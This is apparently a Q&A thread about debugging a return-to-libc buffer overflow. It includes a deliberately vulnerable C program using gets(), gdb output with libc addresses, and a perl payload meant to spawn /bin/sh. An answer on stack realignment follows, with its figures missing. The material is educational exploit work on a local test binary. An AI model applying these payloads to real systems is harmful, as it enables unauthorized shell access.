I'm having problems with return-to-libc exploit. The problem is that nothing happens, but no segmentation fault (and yes I'm actually overflowing the stack).
This is my program:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
I'm using gets instead of strcopy, because my addresses start with 0x00 and strcpy thinks it's the end of a string, so I can't use it.
Here are the addresses that I need:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
When inputing the right sequence, this happens:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
so nothing.
But if I enter 520 'A's (0x41), then the EIP is overflown with 'A's. If there's 516 'A', nothing happens but EIP contains the system address, following the exit address, following the /bin/sh pointer.
Why nothing happened?
Let's do some asm before:
Code
Asm
The prologue and epilogue (these are with alignment code) is described in detail here Understanding the purpose of some assembly statements
Stack layout:
So, if you want to change a return address of main, you should not to change address in stack which will be used by
ret
, but also to repeat the values saved in stack by (1),(2),(3) pushes. Or you can embed a new return address in the array itself and overwrite only (3) by the your new stack address+4. (use 516 byte string)I suggest you use this source code to hack it:
because f have no problems with stack realignement
Stack layout for
f()
:Breakpoint at ret instruction in f() with 520 bytes of "A"